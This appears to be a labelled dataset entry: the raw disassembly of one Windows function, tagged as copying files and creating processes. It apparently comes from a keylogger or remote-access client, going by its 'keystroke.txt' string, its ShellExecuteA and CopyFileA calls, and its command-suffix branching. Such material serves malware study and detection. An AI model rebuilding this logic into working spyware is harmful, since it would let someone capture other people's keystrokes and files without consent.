Function at 0x41d138
Capabilities:
Copy file
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb4
mov eax, 0x549e24
call fcn.00506ee8
mov dword [ebp - 0x30], 1
lea edx, [ebp + 0xc]
lea eax, [ebp + 0xc]
call fcn.0053d98c
inc dword [ebp - 0x30]
mov word [ebp - 0x3c], 8
mov word [ebp - 0x3c], 0x14
lea eax, [ebp - 4]
call fcn.00402538
mov edx, eax
inc dword [ebp - 0x30]
mov eax, dword [ebp + 0xc]
call fcn.0047d084
mov word [ebp - 0x3c], 8
mov word [ebp - 0x3c], 0x20
mov edx, 0x5497ca
lea eax, [ebp - 8]
call fcn.0053d954
inc dword [ebp - 0x30]
lea edx, [ebp - 8]
lea eax, [ebp - 4]
call fcn.0053dbdc
push eax
dec dword [ebp - 0x30]
lea eax, [ebp - 8]
mov edx, 2
call fcn.0053daf8
pop ecx
test cl, cl
je 0x41d2a3
push 0
mov word [ebp - 0x3c], 0x2c
lea eax, [ebp - 0x10]
call fcn.00402538
push eax
inc dword [ebp - 0x30]
mov edx, 0x5497ce
lea eax, [ebp - 0xc]
call fcn.0053d954
inc dword [ebp - 0x30]
lea edx, [ebp - 0xc]
mov ecx, dword [sym.Projectclient.exe__Form1]
mov eax, dword [ecx]
add eax, 0x574
pop ecx
call fcn.0053db50
lea eax, [ebp - 0x10]
call fcn.00402dd4
push eax
lea eax, [ebp + 0xc]
call fcn.00402dd4
push eax
call sub.KERNEL32.DLL_CopyFileA
dec dword [ebp - 0x30]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.0053daf8
dec dword [ebp - 0x30]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.0053daf8
push 5
push 0
push 0
mov word [ebp - 0x3c], 0x38
lea eax, [ebp - 0x18]
call fcn.00402538
push eax
inc dword [ebp - 0x30]
mov edx, str.keystroke.txt
lea eax, [ebp - 0x14]
call fcn.0053d954
inc dword [ebp - 0x30]
lea edx, [ebp - 0x14]
mov ecx, dword [sym.Projectclient.exe__Form1]
mov eax, dword [ecx]
add eax, 0x574
pop ecx
call fcn.0053db50
lea eax, [ebp - 0x18]
call fcn.00402dd4
push eax
push str.open
push 0
call sub.SHELL32.DLL_ShellExecuteA
dec dword [ebp - 0x30]
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.0053daf8
dec dword [ebp - 0x30]
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.0053daf8
mov word [ebp - 0x3c], 0x44
lea eax, [ebp - 0x1c]
call fcn.00402538
mov edx, eax
inc dword [ebp - 0x30]
lea eax, [ebp - 4]
call fcn.0053dce4
lea edx, [ebp - 0x1c]
push edx
mov edx, str..bmp
lea eax, [ebp - 0x20]
call fcn.0053d954
inc dword [ebp - 0x30]
lea edx, [ebp - 0x20]
pop eax
call fcn.0053dbdc
push eax
dec dword [ebp - 0x30]
lea eax, [ebp - 0x20]
mov edx, 2
call fcn.0053daf8
dec dword [ebp - 0x30]
lea eax, [ebp - 0x1c]
mov edx, 2
call fcn.0053daf8
pop ecx
test cl, cl
je 0x41d31a
push dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push dword [eax + 0x310]
call fcn.0041ae50
add esp, 8
jmp 0x41d3b3
mov word [ebp - 0x3c], 0x50
mov edx, str..ger
lea eax, [ebp - 0x24]
call fcn.0053d954
inc dword [ebp - 0x30]
lea edx, [ebp - 0x24]
lea eax, [ebp - 4]
call fcn.0053dbdc
push eax
dec dword [ebp - 0x30]
lea eax, [ebp - 0x24]
mov edx, 2
call fcn.0053daf8
pop ecx
test cl, cl
je 0x41d368
lea eax, [ebp + 0xc]
push eax
mov edx, dword [ebp + 8]
push dword [edx + 0x328]
call fcn.00418880
add esp, 8
jmp 0x41d3b3
mov word [ebp - 0x3c], 0x5c
mov edx, str..dir
lea eax, [ebp - 0x28]
call fcn.0053d954
inc dword [ebp - 0x30]
lea edx, [ebp - 0x28]
lea eax, [ebp - 4]
call fcn.0053dbdc
push eax
dec dword [ebp - 0x30]
lea eax, [ebp - 0x28]
mov edx, 2
call fcn.0053daf8
pop ecx
test cl, cl
je 0x41d3b3
push dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push dword [eax + 0x35c]
call fcn.00423a10
add esp, 8
dec dword [ebp - 0x30]
lea eax, [ebp - 4]
mov edx, 2
call fcn.0053daf8
dec dword [ebp - 0x30]
lea eax, [ebp + 0xc]
mov edx, 2
call fcn.0053daf8
mov ecx, dword [ebp - 0x4c]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret